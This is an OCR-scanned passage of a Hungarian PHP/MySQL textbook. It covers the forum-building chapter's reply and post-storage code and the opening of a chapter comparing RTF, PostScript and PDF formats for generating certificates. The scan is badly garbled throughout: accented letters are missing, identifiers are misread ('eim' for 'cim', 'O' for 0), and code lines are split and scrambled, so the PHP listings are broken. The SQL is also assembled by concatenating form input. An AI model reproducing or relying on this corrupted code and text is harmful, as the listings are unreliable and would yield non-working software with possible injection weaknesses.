Nzzk meg most az ezt a kimenetet elllt, a 31.8 pldakdban olvashat kdot!
31.8 pldakd: uj_hoz zaszolas . php

A Jelhasznl j hozzszlst rhat, illetve vlaszolhat meglv hozzszlsra

<?php
include ('beillesztett fuggvenyek.php');
$eim = $_POST['cim'];
$hozzaszolo = $_POST['hozzaszolo'];
$uzenet = $_POST['uzenet'];
if(isset($_GET['szulo']))
$_GET['szulo'];

$szulo
else

{
$ POST['szulo' J;

$szulo

31

if(! $terulet)
$terulet = l;

\.

if(!$hiba)
if(! $szulo)
$szulo = 0;
if(!$eim)
$eim = 'Uj hozzaszolas';
else

ll hozzszls cmnek lekrse


$eim = hozzaszolas cimenek_lekerese($szulo);

ll Re:

hozzfzse

if(strstr ($eim,
$eim = 'Re:

'Re:

false)

')

' . $eim;

ll ellenrizzk,

hogy a cm be fog frni az adatbzisba

$eim = substr($cim,

O,

20);

ll > karakter hozzadsa a megvlaszolni kvnt hozzszls szveghez


$uzenet = idezojel_hozzadasa(hozzaszolas_tartalmanak_lekerese($szulo));

html fejlee letrehozasa($cim);


uj_hozzaszolas_urlap_megjelenitese($szulo,

$terulet,

$eim,

$uzenet,

if($hiba)
echo "<p>Hozzszlst nem troltuk el.<lp>
<p>Krjk,

ellenrizze,

hogy minden mezt kitlttt-e,

majd

$hozzaszolo);

5 34

31. fejezet

prblja jra!<lp>";

html lablec letrehozasa();


?>

Az indul belltsok utn az uj_hozzaszolas. php kd ellenrzi, hogy a szl rtke O (nulla) vagy ms. Ha O, akkor
j tmt indtunk, s egy kis tovbbi munkra van szksg.
Ha vlaszrl van sz (a $szulo egy meglv hozzszls hozzaszalasi D-ja), a kd megy tovbb, s felhasznlja a meg
lv zenet cmt s szvegt:
ll hozzszls cmnek lekrse
$eim = hozzaszolas_cimenek_lekerese($szulo);

ll Re:

hozzfzse

if(strstr($cim,
$eim =

'Re:

'Re:

ll ellenrizzk,

false)

hogy a cm be fog frni az adatbzisba

$eim = substr($cim,

31

')

'.$eim;

O,

20);

ll > karakter hozzadsa a megvlaszolni kvnt hozzszls szveghez


$uzenet = idezojel hozzadasa(hozzaszolas_tartalmanak_lekerese($szulo));

A fenti kdrszlet a hozzaszolas_eimenek_lekerese(), a hozzaszolas_tartalmanak_lekerese() s

az

idezojel_hozzadasa () fggvnyt hvja meg. Ezeket a forum_ fuggvenyek.php knyvtrban tallhat fggvnyeker

a 31.9, a 31.10 s a 31.11 pldakd tartalmazza.


31.9 pldakd: A forum_fuggvenyek. php knyvtr hozzaszolas_cimenek_lekerese ()fggvnye- A hozzszls

cmt keresi vissza az adatbzisbl

function hozzaszolas eimenek lekerese($hozzaszolasiD)


ll hozzszls eimt keresi vissza az adatbzisbl

if(!$hozzaszolasiD)
return '';

$kapcsolat = adatbazishoz kapcsolodas();

ll fejlcadatok lekrse a 'fejlec' tblbl


$lekerdezes =
$eredmeny

"SELECT eim FROM fejlee WHERE hozzaszalasiO

$kapcsolat->query($lekerdezes);

if($eredmeny->num_rows1=l)
return '';

$aktualis sor = $eredmeny->fetch_array();


return $aktualis_sor[0];

'''.$hozzaszolasiD.'
'' '';

Webes frum fejlesztse

535

31.10 pldakd: A forum_fuggvenyek.php knyvtr hozzaszolas_tartalmanak_lekerese ()fggvnye- A hoz


zszls tartalmt keresi vissza az adatbzisbl
function hozzaszolas_tartalmanak_lekerese($hozzaszolasiD)

ll a hozzszls tartalmnak visszakeresse az adatbzisbl


if(!$hozzaszolasiD)
.
return
'

'

'

$kapcsolat = adatbazishoz kapcsolodas();


$lekerdezes =

"SELECT uzenet FROM tartalom WHERE hozzaszolasiD

'''.$hozzaszolasiD.''''';

$eredmeny = $kapcsolat->query($lekerdezes);
if($eredmeny->num_rows>O)

$aktualis sor = $eredmeny->fetch array();


return $aktualis sor[O];

Az els kt fggvny a hozzszls fejlct s tartalmt nyeri ki az adatbzisbL

31

31.11 pldakd: A forum_fuggvenyek. php knyvtr idezojel_hozzadasa ()fggvnye- A hozzszls szvegnek


tagolsa >jelekkel

\.

function idezojel_hozzadasa($string,

ll

>

'> ')

$minta =

karakter hozzadsa a vlaszban idzett szveghez

return $minta.str_replace("\n",

"\n$minta",

$string);

Az idezojel_hozzadasa () fggvny talakitja a karakterlncot, hogy az eredeti szveg rninden sora adott szimblum

mal kezdelj n. Ez a szimblum alaprtelmezsben a > karakter.


Miutn a felhasznl begpelte vlaszt, s az ,.Elkld" gombra kattint, az uj_hozzaszolas_tarolasa.php kdba jut.
A 31.9 brn ennek a kdnak egy lehetsges kimenett lthatjuk.

31.9 bra: Az

j hozzszls immr lthat afanzetben.

Az j hozzszlsRe: MySQL admin - MySQL mgus - 22:15 0912412010 alatt lthat az brn.Ettl eltekim
ve az oldal ugyangy nz ki, mint a mr ltott index. php oldal.
Nzzk meg most a 31.12 pldakdban lthat uj_ hozzaszolas_tarolasa. php fjl kdjt!

536

31. fejezet

31.12 pldakd: uj_hozzaszolas_tarolasa.php-Adatbzisba helyezi az j hozzszls!


<?php
include ('beillesztett fuggvenyek.php'};
if($id = uj_hozzaszolas_tarolasa($_POST}}
include ('index.php'};
else

$hiba = true;
include ('uj_hozzaszolas.php'};

?>

Mint lthat, igen rvid kdrl van sz. Legfbb feladata az uj_hozzaszolas _tarolasa(} fggvny meghvsa,
amelynek kdjt a 31.13 pldakdban lthatjuk. Az oldal nmagban nemjelent meg kln tartalmat. Ha a trols sikeres,
az

indexoldal fog megjelenni. Ellenkez esetben az uj_hozzaszolas.ph p oldalra jutunk vissza, hogy a felhasznl jbl

megprblhassa megrni hozzszlst.


31.13 pldakd: A forum_fuggvenyek.ph p knyvtr uj_hozzaszolas tarolasa (}fggvnye- Ellenrzi, majd elt
_

rolja az adatbzisban az j hozzszlst

31

function uj_hozzaszolas tarolasa($hozzaszolas}

ll j hozzszls megtiszttsa,

majd trolsa

$kapcsolat = adatbazishoz kapcsolodas(};

ll res mezok keresse


if(!kitoltott($hozzaszolas}}
return false;

$hozzaszolas = mindet_tisztit($hozzaszolas};

//ellenrizzk,

van-e szl hozzszls

if($hozzaszolas['szulo']

=0}

$lekerdezes = "SELECT hozzaszelasiO FROM fejlee WHERE


hozzaszelasiO = '".$hozzaszolas['szulo'] ."'";
$eredmeny = $kapcsolat->query($lekerdezes};
if($eredmeny->num_rows!=l}
return false;

ll ellenrizzk,

hogy nem dupliklt hozzszls

$lekerdezes = "SELECT fejlec.hozzaszolasiD FROM fejlec,

tartalom WHERE

fejlec.hozzaszolasiD = tartalom.hozzaszolasiD AND


fejlec.szulo = ".$hozzaszolas['szulo'] ." AND
fejlec.hozzaszolo = '".$hozzaszolas['hozzaszolo'] ."' AND
fejlec.cim = '".$hozzaszolas['cim'] ."' AND
fejlec.terulet = ".$hozzaszolas['terulet'] ." AND
tartalom.uzenet = '".$hozzaszolas['uzenet'] ."'";

$eredmeny = $kapcsolat->query($lekerdezes};
if (! $eredmeny}
return false;

Webes frum fejlesztse

537

if($eredrneny->num_rows>O)
$aktualis_sor = $eredrneny->fetch_array();
return $aktualis sor[Ol;

$lekerdezes

"INSERT INTO fejlee ('szulo' ,

'hozzaszelo'

'terulet' ,

'datum' ,

'eim' ,

'gyermek'

'hozzaszelasiO' )

VALUES
('".$hozzaszolas['szulo'l "',
'".html_entity_decode($hozzaszolas['hozzaszolo'll

"',

'".html_entity_decode($hozzaszolas['cim'l) "',
O,
'".$hozzaszolas['terulet'l."',
now(),
NULL
)";

$eredrneny = $kapcsolat->query($lekerdezes);

if (! $eredrneny)
return false;

31
ll ne feledkezznk meg rla,

hogy a szlnek most mr van gyermeke!

$lekerdezes = "UPDATE fejlee SET gyermek =


WHERE hozzaszelasiO

'".$hozzaszolas['szulo'l."'";

$eredrneny = $kapcsolat->query($lekerdezes);

if (! $eredrneny)
return false;

ll a hozzszls azonostjnak megllaptsa;


ll fejlc is lehet,

ne feledjk,

hogy tbb

amelyek csak az azonostjukban s valsznleg

ll idpontjukban trnek el!


$lekerdezes = "SELECT fejlec.hozzaszolasiD FROM fejlee LEFT JOIN tartalom
ON fejlec.hozzaszolasiD = tartalom.hozzaszolasiD
WHERE szulo = '".$hozzaszolas['szulo'l ."'
AND hozzaszelo = '".html_entity_decode($hozzaszolas['hozzaszolo'll ."'
AND eim = '".html entity_decode($hozzaszolas['cim'l)."'
AND tartalom.hozzaszolasiD is NULL";

$eredrneny = $kapcsolat->query($lekerdezes);
if (! $eredrneny)
return false;

if($eredrneny->num_rows>O)
$aktualis_sor = $eredrneny->fetch_array();
$id = $aktualis sor[Ol;

if ($id)
$lekerdezes = "INSERT INTO tartalom VALUES
($id,

'".$hozzaszolas[ 'uzenet' l."')";

$eredrneny = $kapcsolat->query($lekerdezes);

538

31. fejezet

if

{! $eredmeny)
return false;

return $id;

Hossz, de nem tlsgosan bonyolult fggvnnyel llunk szemben. Csak azrt ilyen tetjedelmes, mert a hozzszls eit
ralsa azt ignyli, hogy sorokat szrjunk be a fej lee s a tartalom tblba, illetve frissrsle a fej lee tblban a szl
hozzszls rekordjt, hiszen annak most mr ltezik gyermeke.
s ezzel a vgre is rtnk webes frumunk kcljnak.

A projekt tovbbfejlesztse
Sokflekppen gazdagthatjuk egy ilyen webes frum funkciit:
Adjuk meg a felhasznlknak a hozzszlsok kztti navigci lehetsgt, hogy adott hozzszlsrl a kvetkez vagy
az elz hozzszlsra, illetve az adott beszlgetsfonalon belli elz vagy kvetkez hozzszlsra ugorhassanak!
Hozzunk ltre adrninisztrtori felletet, ahol j frumokat lehet belltani, illetve trlni rucljuk a rgi hozzszlsokat!

31

Felhasznli hitelests megvalstsval rjk el, hogy csak regisztrlt felhasznJk rudjanak hozzszlsokat rni!
Hozzunk ltre valarnilyen modercis mechanizmust!
Tovbbi fejlesztsi tletekrt tanulmnyozzunk mr mkd frumokat!

Meglv rendszer hasznlata


Az egyik emltsre mlt, ltez rendszer a Phorum, egy nyilvnos forrskd webes frum. A fejezetben ltalunk ltrehozott
frumtl nmikpp eltr mdon mkdik, de struktrja viszonylag egyszeren oldalunk ignyeihez szabhat. A Phorum
egyik figyelemre mlt funkcija, hogy brmely felhasznlja eldntheti, hogy a hozzszlsokat a beszlgetsfonalaknak
megfelelen tagolva vagy egyszer idrendi sorrendben kvnja-e megteknteni. Az alkalmazsrl a http://www.phorum.org
oldalon tallunk bvebb informcit.

Hogyan tovbb:
A Perszanalizlt PDF dokumentumok ellltsa cm 32. fejezetben a PDF formrum hasznlatval ksztnk vonz, platform
tl fggetlenl egyformn nyomtathat s egyszer mdszerekkel nem hamisthat dokumenrumokat. Ez a lehetsg nagy
szalglatot tehet neknk olyan alkalmazsokban, amelyekben pldul szerzdsek online ellltsra lehet szksg.

32
Perszonalizlt PDF dokumentumok
ellltsa
Szolgltatsokat knl oldalakon szksg lehet arra, hogy a felhasznlk ltal megadott adatok ignybe vtelvel automatikusan
kitlttt rlapokat vagy perszanalizlt dokumenrumokat - pldul szerzdseket, leveleket vagy okleveleket - lltsunk el.
A fejezetben olyan alkalmazst fejlesztnk, amellyel a felhasznlk online rtkelhetik rudsukat, majd az eredmnyek alap
jn oklevelet ksztnk szmukra. Munknk sorn kiderl:
hogyan rudunk a PHP karakterlnc-feldolgoz fggvnyeivel felhasznli adatokat bevinni egy sablonba s Rich Text
Forrnat (RTF) dokumenrumot ellltani ebbl,

hogyan lehet hasonl mdszerrel Portable Document Forrnat (PDF) dokumenrumot kszteni,
hogyan tudunk a PHP PDF!ib fggvnyeivel hasonl PDF dokumentumot ellltani.

A projekt ttekintse
Projektnkben adott szm krdsbl ll vizsga el lltjuk oldalunk ltogatit. Ha elegend krdsre helyesen vlaszolnak,
oklevelet llitunk ki, ami tanstja, hogy sikeresen levizsgztak.
Annak rdekben, hogy a szmtgp egyszeren rtkelni tudja a vizsgz teljestmnyt, a krdsekhez tbb vlaszlehe
tsget adunk meg, amelyek kzl a felhasznl kivlaszthatja a helyesnek vltet. Minden krdsre csak egy j vlasz ltezik.
A krdsek meghatrozott szzalkra helyesen vlaszol, vagyis a vizsgt teljest felhasznl oklevelnek fjlformrurna ide
lis esetben:
knnyen megrervezhet,
pixel- s vektorgrafikus kpeket egyarnt tartalmazhat,
kvl minsg nyomatot eredmnyez,
kismret, ezltal knnyen letlthet fjlt ad,
szinte azonnal elllthat,
olcsn elllthat,
brmilyen opercis rendszeren hasznlhat,
nem lehet egyszeren meghamistani vagy mdostani,
megtekintshez s nyomtatshoz nincs szksg specilis szoftverre,
brmely felhasznl szmra egyformn jelenik meg, illetve nyomtathat.
Sok ms dntsnkhz hasonlan valsznleg itt is kompromisszumokra knyszerlnk, hogy a fenti elvrsok kzl mi
nl tbbnek megfelel formtumot talljunk.

Dokumentumformtumok sszehasonltsa
A legfontosabb dnts, amit minl elbb meg kell hoznunk, hogy milyen formrumban kvnjuk az oklevelet tadni. Olyan le
hetsgek kzl vlasztharunk, mint a papralap oklevl, az ASCII szveg, a HTML, a Microsoft Word vagy brmilyen ms
szvegszerkeszt formtuma, a Rich Text formtum, a PostScript s a Portable Document Forrnat (PDF). A fenti elvrsaink
tkrben rdemes az itt felsorolt lehetsgek kzl nhnyat mdegeini s egymssal sszehasonltani.

540

32. fejezet

Papr
A papralap oklevl killtsa nyilvnval elnykkel jr, pldul teljes egszben irnytsunk alatt tarthatjuk az ellltsi fo
lyamatot. Mieltt a vizsgzknak elkldennk az okleveleket, minden esetben pontosan ltjuk, hogyan nz ki a dokumentum.
Radsul nem kell a szoftverek vagy a svszlessg miatt aggdnunk, s a hamisrst megnehezt biztonsgi jelekkel lthatjuk
el az okleveleket.
A papralap oklevl szinte az sszes elvrsunknak megfelel, de nem lehet azonnal s alacsony kltsggel ellltani, illetve
elkldeni. A vizsgz tartzkodsi helytl fggen napokba vagy akr hetekbe is telhet, amg postai ton eljuttatjuk hozz
a hn htott oklevelet.
Minden egyes oklevl nyomtatsrt s postzsrt kifizethetnnk pr szz forintot, de taln mg ennl is tbbe kerlne az
oklevelek ellltsra fordtott munka. Az automatikus s elektronikus kiklds sokkal olcsbb lehet.

ASCII
A dokumentumok ASCII formtumban vagy egyszer szvegknt trtn elkldse is szmos elnnyel jr. Ezek egyike, hogy
a kompatibilits nem okoz problmt. Alacsony svszlessg is elegend, gy kltsge nem jelents. Az ilyen egyszer doku
mentumok dizjnja knnyen megtervezhet, s a kd is gyorsan ellltja ket.
Ha azonban ASCII fjlt mutatunk meg ltogatinknak, nem igen tudjuk ellenrzsnk alatt tartani, hogy miknt fog meg
jelenni. Nem tudjuk szablyozni pldul a bettpusokat vagy az oldaltrseket. Csak szveget hasznlhatunk, s igen kevs
rhatsunk van a formzsra. Ugyangy nem tudjuk megakadlyozni, hogy a dokumentum cmzettje lemsolja vagy mdostsa
azt. Ennl a formtumnl a legegyszerbb az oklevl rosszindulat megvltoztatsa.

Hypertext Markup Language (HTML)


A dokumentumok weben keresztli megjelentse esetn nyilvnval vlaszts a Hypertext Markup Language Chiperszveg
jell nyelv, HTML), amely nyelvet kifejezetten erre a clra hoztk ltre. Ahogy azt mr bizonyra jl tudjuk, lehetv teszi
a formzst s az olyan objektumok beillesztst, mint pldul a kpek. Radsul (nmi vltoztats utn) szinte minden ope

32

rcis rendszerrel s szaftverrel kompatibilis. Viszonylag egyszer, gy dokumentumaink dizjnjt knnyen megtervezhetjk,
kdunk pedig gyorsan ellltja s tadja a vgeredmnyt.
A mostani projektnkhz hasonl alkalmazsok esetn viszont olyan htrnyokkal vagyunk knytelenek szembenzni, mim
a nyomtatshoz kapcsold formzsi lehetsgek (pldul oldaltrsek J korltozott tmogatsa, az opercis rendszerektl s
programoktl fggen klnbz megjelens s eltr minsg nyomtats. Radsul a HTML ugyan brmilyen tpus kls
elemet kpes beilleszteni, ritkbb formturnek hasznlata esetn nem garantlhat, hogy minden bngsz kpes lesz megjele
nteni vagy hasznlni ezeket az elemeket.

Szvegszerkesztformtumok
Elssorban intraneres projektek esetn lehet ltjogosultsga a dokumentumok szvegszerkeszt formtumban val kzz
ttelnek. Internetes projektnl ugyan egy konkrt szvegszerkeszt formtum hasznlatval kizrhatunk egyes ltogatkat,
azonban piaci tlslyt figyelembe vve rdemes lehet Microsoft Word dokumentumokat hasznlni. A legtbb felhasznl
gpn teleptve van a Word vagy egy olyan szvegszerkeszt, amely olvasni tudja a Word fjlokat (pldul az ingyenesen elrhe
t OpenOffice Writer).
A Worddel nem rendelkez Windows-felhasznlk a http://office.microsoft.com/en-us/downloads/ha010449811033.
aspx oldalrl tlthetik le az ingyenes Word Viewer alkalmazst, amellyel megtekinthetik, kinyomtathatjk s msolhatjk
a Word dokumentumokat.
A dokumentumok Microsoft Word formtumban trtn ellltsa nyilvnval elnykkel jr. Ha szmtgpnkre te
leptve van a Word, egyszeren elkszthetjk a dokumentumot. Szinte teljes mrtkben szablyozni tudjuk megjelentst,
s rugalmasan alakthatjuk tartalmr. A jelszval vdett dokumentumokat radsul viszonylag nehezen tudja a fogad fl
mdostani.
Sajnos a Word fjlok igen nagyok lehetnek, klnsen akkor, ha kpeket vagy ms komplex elemeket tartalmaznak. Ezen
tlmenen nem ltezik egyszer mdszer arra, hogy PHP-vel dinamikusan ellltsuk ket. A Word formtum dokumentlt
ugyan, de binris formtumrl van sz, s a dokumentci licencelsi feltteleket tartalmaz. COM objektummal lehetsges
ugyan Word dokumentumokat ellltani, de ez messze nem egyszer dolog.
Egy msik, mrlegelend lehetsg az OpenOffice Writer hasznlata, ami kt szempontbl is elnys lehet: nylt forrs
kd, ingyenesen elrhet szaftverrl van sz, ami radsul XML-alap fjlformtumot hasznl. Az XML fjlformtumot az

Pers:z:onali:z:lt PDF dokumentumok ellltsa

541

Office 2003 s 2007 programcsomag is natv mdon tmogatja. A Microsofi:.com oldalrl a Wordh:z: s egyb Office-term
kekhe:z: letlthet a Document Type Delinition (dokumentumtpus-delinci, DT D). Keressnk r a:z: oldalon a:z:"Office XML
Reference Schemas'; a:z:a:z: Office XML referenciasmk kifeje:z:sre! Jrhat, de nem egyszer t vr rnk, ha ezt a megoldst
vlasztjuk.

Rich Textformtum
Rich Text formtum (RTF) dokumentumok esetn is kihasznlhatjuk a Word funkciinak nagy rszt, radsul a:z: ilyen fj
lok egyszerbben elllthatk. A nyomtatott oldal elrende:z:se s formzsa rugalmasan megoldhat, radsul a dokumentum
vektor- s pixelgrafikus kpeket egyarnt tartalma:z:hat. St, a felhasznlk a dokumentum megtekintsekor s nyomtatsakor
nagy valsznsggel hasonl eredmnyt kapnak, mint mi.
Az RTF a Microsofi: Word szveges formtuma. Olyan kompatibilis formtumnak szntk, amely lehetv teszi a kln
bz programok kztti adatcsert. Bizonyos szempontbl hasonlt a HTML-re. Szintaktikval s kulcsszavakkal, nem pedig
binris adatokkal viszi t a formzsi informcikat. ppen e:z:rt a:z: emberi szem szmra viszonylag jl olvashat.
A formtum jl dokumentlt, s specifikcija ingyenes elrhet; keressnk r a Microsofi:.com oldalon a:z:"RTF
specification'; a:z:a:z: RTF specifikci kifeje:z:sre!
Az RTF dokumentumok ellltsnak legegyszerbb mdja a szvegszerkesztk " Save As RTF'; aza:z: "Ments RTF for
"
mtumban menpongnak kivlasztsa. Mivel az RTF fjlok csak szveget tartalmaznak, kzvetlenl elllthatk, a meglv
llomnyokat pedig knnyszerrel mdosthaguk.
Dokumentlt s ingyenesen elrhet formtumrl lvn s:z: a:z: RTF fjlokat tbb program olvassa, mint a Word binris
formtumt. Nem rt a:z:onban tisztban lenni a:z:zal, hogy sszetettebb RTF fjlokat a Word rgebbi verziival vagy ms sz
vegszerkesztvel megnyitk valamilyen mrtkben eltr eredmnyt fognak lrni. A Word minden j verzija j kulcss:z:avakat
vezet be a:z: RTF formtumhoz, gy a rgebbi alkalma:z:sok figyelmen kvl fogjk hagyni a:z: ltaluk nem rtett vezrlket.
Ami elvrsaink fenti listjt illeti, egy RTF formtum oklevl egys:z:eren megszerkeszthet Word vagy ms s:z:vegszer
keszt segtsgve!; vektor- s pixelgrafikus elemeket egyarnt tartalma:z:hat; kivl minsg nyomatot eredmnyez; egyszer
en s gyorsan elllthat; elektronikus ton alacsony kltsggel elkldher.
A formtum sokfle alkalma:z:sban s opercis rendszerben hasznlhat, noha ugyana:z: a dokumentum kicsit msknt
jelenhet meg az egyes programokban. Az RTF dokumentumok rnyoldala, hogy brki egyszeren s tetszs szerint mdost
haga ket, ami oklevelek s sok egyb dokumentumtpus esern is problmt jelent. Az sszetettebb dokumentumok fjimrece
viszonylag nagy is lehet.
Mindezek figyelembe vtelvel a:z: RTF formtum szmos alkalma:z:snl megfelel vlaszts a dokumentumok ellltsra,
e:z:rt mostani projektnkben is ez lesz a:z: egyik megvizsglt lehetsg.

PostScript
A:z: Adobe PostScript formrum oldaller nyelv. Rengeteg funkcit knl, sszetett programozsi nyelv, amelynek clja a do
kumentumok eszkzfggetlen mdon trtn ellltsa - vagyis olyan lers ksztse, amely a klnbz nyomtatkon s
kijelzkn ugyanolyan megjelenst eredmnye:z:. Rendkvl rszletesen dokumentlt formtum, amirl szmos knyvet rtak,
s amirl rengeteg weboldalon olvashatunk.
A PostScript dokumentumok nagyon pontos formzst, szveget, kpeket, begya:z:ott bettpusokat s egyb elemeket
tartalma:z:harnak. Egys:z:eren elllthatk, ha a megfelel alkalma:z:sbl PostScript nyomtatdriverre nyomtatjuk ket. Ha
rdekel bennnket, akr a:z:t is megranulhaguk, hogyan lehet ebben a nyelvben kzvetlenl programozni.
A PostScript dokumentumok viszonylag platformfggetlenek. Klnbz eszkzkrl s opercis rendszerekbl nyomtat
va is egyformn kivl minsg nyomatot eredmnye:z:nek.
Szmos jelents htrnnyal szmolnunk kell ugyanakkor, ha PostScript formrumban szetetnnk dokumentumainkat ter
jeszteni: a fjlmret hatalmas lehet, s a felhasznlk tbbsgnek jabb szofi:vert kell letltenik ahhoz, hogy has:z:nlni tudjk
a fjlokat. A Unix-felhasznlk tbbsge ugyan tudja ke:z:elni a PostScript fjlokat, de windowsos trsaiknak jellemzen le kell
tltenik egy olyan alkalma:z:st, mint pldul a Ghostscript PosrScripr-rrelmezt has:z:nl GSview. E:z: a szofi:ver sokfle
platformhoz elrhet. Ingyenes ugyan, de nem iga:z:n clszer az embereker jabb s jabb szofi:verek letltsre knyszerteni.
A G hostscriptrl rszleresebben a http://www.ghostscript.com/ oldalon olvashatunk, letlteni pedig a http://www. cs.wisc.
edu/ ghost/ oldalrl tudjuk.
Ami fejezetnk alkalma:z:sr illeti, a PostScript jl szerepel a:z: egysgesen kivl minsg kimenet terletn, azonban szin
te a:z: sszes tbbi elvrsunknak kptelen megfelelni.

32

542

32.fezec

Portable Document Forrnat (PDF)


Szerencsre ltezik egy olyan formtum, ami a PostScript szinte sszes pozitvumval rendelkezik, s srnos tovbbi elnye is

knl. Az Adobe ltal kifejles:z:cerc Portable Document Formac (PDF), azaz hordozhat dokumentumformcum olyan doku
meneum-megosztsi mdszer, amely egyformn viselkedik a klnbz placformokon, s kivl minsg kimenetet eredm
nyez kpernyn, papron egyarnt.

A:z: Adobe a kvetkezkppen mucatja be a PDF formtumot:"A PDF lnyegben az elektronikus dokumentummegoszts
nylt szabvnynak tekinthet. Az Adobe PDF univerzlis f:ijlformtum, amely a ltrehozshoz hasznlt alkalmazstl s
platformtl fggetlenl megrzi a forrsdokumentum sszes betcpust, form:z;st, sznt s grafikai elemr. A PDF fjlok
kismretek, s az ingyenes Adobe Acrobat Reader alkalmazssal mindenki pontosan abban a formban tekintheti meg, oszc
hatja meg s nyomtathatja ki ket, ahogy az alkotjuk ellltorca:'
A PDF nylt formtum, dokumentcija a hrcp://partners.adobe.com/asn/tech/pdf/specifications.jsp oldalon tallhat, de
sok ms weboldalon, illetve egy hivatalos knyvben is elrhet.
A PDF a fenti elvrsainkkal szembestve is igen jl szerepel: a PDF dokumentumok egyforma s kivl rninsg kimene
tet eredmnyeznek; vektor- s pixelgrafikus kpeket egyarnt tartalmazhacnak; tmrtse hasznlva kismret fjlokat llt
hacunk el; elektronikusan olcsn terjeszthetk, az sszes nagy opercis rendszeren hasznlhatk; s biztonsgi funkcikat is
tartalmaznak.
A PDF ellen szl az a tny, hogy a PDF dokumentumok ellltsra hasznlt szoftverek tbbsge fizets termk. A PDF fj
lok megtekintshez olvasra van s:z:iiksg, de az Acrobac Reader ingyenesen letlthet Windowshoz, Unixhoz s Macintoshhoz
is. Oldalunk ltogatinak tbbsge rninden bizonnyal mr jl ismeri a . pdf kiterjesztst, s igen valszn, hogy teleptere PDF
olvasval is rendelkezik.
A PDF fjlok kivlan alkalmasak tetszetsen form:z:orc, nyomtathat dokumentumok terjesztsre, klnsen abban az
esetben, ha egyszer mdszerekkel nem mdosthat dokumentumokat kivnunk kldeni.
A fejezetben kt klnbz mdszert is megvizsglunk a PDF formtum oklevl ellltsra.

A megolds alkotelemei

32

Alkalmazsunk mkdshez ellenriznnk kell felhasznlink tudst, s (amennyiben sikeresen cltrck ki a ceszcet) okte
velet kell ellltanunk a vizsgaeredmnykrL A fejezet sorn hromflekppen ksztjk el ezt az oklevelet: elszr RTF s
PDF sablon hasznlatval, majd programozssal fogunk j PDF dokumentumot ellltani.
Nzzk meg most rszletesen az egyes alkotelemek kvetelmnyeit!

Vizsgztatrendszer
Olyan online rtkelrendszer elksztse, amely tbbfle krdstpust tesz lehetv, tartalmas visszajelzse ad a rossz vlaszok
rl, s intelligens statisztikai, illetve jelentskszt funkcikkal br, nmagban is sszeterc feladat lenne.
Ebben a fejezetben rdekldsnk kzppontj ban a perszonalizlt s interneten terjeszthet dokumentumok ellltsa
ll, ezrt csak nagyon egyszer, kv:z; alap teszerendszert fogunk ltrehozni. A teszthez nincs szksg semmilyen klnleges
szoftverre. HTML rlap segtsgvel teszi fel a krdseket, s PHP kddal dolgozza fel a vlaszokat. A PHP gyorstalpal cm

l. fejezertl kezdve szmtalan ilyen megoldssal tallkoztunk mr knyvnkben.

A dokumentumelllt szoftver
Nincs szksg kln szoftverre a webszervernkn RTF vagy PDF dokumentumok sablonokbl trtn ellltsra, viszonr
a sablonok ltrehozshoz megfelel alkalmazst kell hasznlni. A PHP PDF-ltrehoz fggvnyeinek ignybe vtelhez
PDF-tmogatsra van szksg PHP-teleptsnkben; ezzel a tmval a fejezet ksbbi rszben rszletesen foglalkozunk majd.

RTF sablon ltrehozsra szolgl program


A:z: RTF fjlokat brmilyen neknk tetsz szvegszerkesztvel elllthatjuk. Oklevelnk sablonjt, amely a knyv letlthet
mellklecnek 3 2_fe j e z e t mappjban tallhat, Microsoft Word alkalmazssal hoztuk ltre. Ha ercl eler szvegszer
kesztvel dolgozunk, akkor is rdemes lehet az eredmnyt Wordben tesztelni, mert ltogatink tbbsge minden bizonnyal ezt
a szoftvert hasznlja.

Perszonalizlt PDF dokumentumok ellltsa

543

PDF sablon litrehozsra szolgl program


A PDF dokumentumokat kicsit bonyolultabb ellltani. A legegyszerbb ehhez az Adobe Acrobat alkalmazs megvsrlsa.
A szoftver lehetv teszi, hogy kivl minsg PDF llomnyokat lltsunk el a klnfle alkalmazsokbL A projektnkhz
szksges sablonf:ijlr Acrobat segtsgvel hoztuk ltre.
A sablon alapjt jelent dokumentumot Microsoft Wordben szerkesztettk meg. Az Acrobat csomagban talljuk az Adobe
Distiller eszkzt. A PDF fjl ellltshoz a Distilleren bell meg kellett vltozrarni nhny alaprtelmezett belltst. A fjlt
ASCII formtumban kell trolni, a tmrtse pedig ki kell kapcsolni. Ha ezeket belltottuk, a PDF fjl ltrehozsa pont
olyan egyszer, mint egy sima nyomtats.
Az Acrobat termkrl a hrrp://www.adobe.com/products/acrobat/ oldalon tallunk bvebb tjkoztatst. A program meg
vsrolhat online, illetve szoftverforgalmazssal foglalkoz kiskereskedktL
Egy msik lehetsg PDF fjlok ltrehozsra a ps2pdf talakit program hasznlata, amely, mint azt a neve sugallja,
PostScript fjlokat alakit t PDF fjlokk. Elnye, hogy ingyenes, m kpeket vagy nem szabvnyos bettpusokat tartalmaz
dokumentumok esetn nem mindig a megfelel eredmnyt kapjuk. A ps2pdf konvertert a korbban emltett Ghostscript
csomagban ralljuk.
Ha ily mdon lltjuk el a PDF fjlt, nyilvnval, hogy elszr PostScript fjlt kell ltrehozni. A Unix-felhasznJk jellem
zen az a2ps vagy a dv ips segdalkalmazst hasznljk erre a clra.
PostScript f:ijlokat windowsos krnyezetben is ltrehozhatunk Adobe Disriller nlkl, azonban kicsit krlmnyesebben
tehetjk csak meg. PostScript nyomtatdrivert kell telepteni; hasznlhatjuk pldul az Apple LaserWriter IIN T drivert.
Ha nincsen gpnkre PostScript driver teleptve, a http://www.adobe.com/support/downloads/productJsp?product=
44&platform= Windows cmrl letlthetnk egyet az Adobe-tl.
A PostScript fjl ltrehozshoz vlasszuk ki ezt a nyomtatt, s jelljk ki a Print to File (Nyomtats fjlba) jellngyze
tet, amit ltalban a Print, vagyis Nyomtats prbeszdablakban tallunk!
A windowsos alkalmazsok tbbsge ekkor egy . pr n Iciterjeszts fjlt llt el, amely PostScript fjl kell, hogy legyen.
rdemes lehet a kiterjesztst . ps-re trni. Ezt kveten GSview-val vagy ms PostScript-megjelent alkalmazssal megre
kinthetjk, a ps2pdf segdalkalmazssal pedig ltrehozharjuk a PDF llomnyunkat.
J, ha tudjuk, hogy a klnbz nyomtardriverek eltr minsg PostScript fjlt eredmnyezhernek. Akr azt is tapasz
talhatjuk, hogy egyes PostScript fjljaink hibazenetet vltanak ki, amikor a ps2pdf segdalkalmazson keresztl futtatjuk.
Ha ezt tapasztaljuk, keressnk msik nyomtatdrivert l
Ha csak nhny PDF fjlt kivnunk ltrehozni, akr az Adobe online szolgltatsa is megfelel lehet szmunkra. Havi 9,99
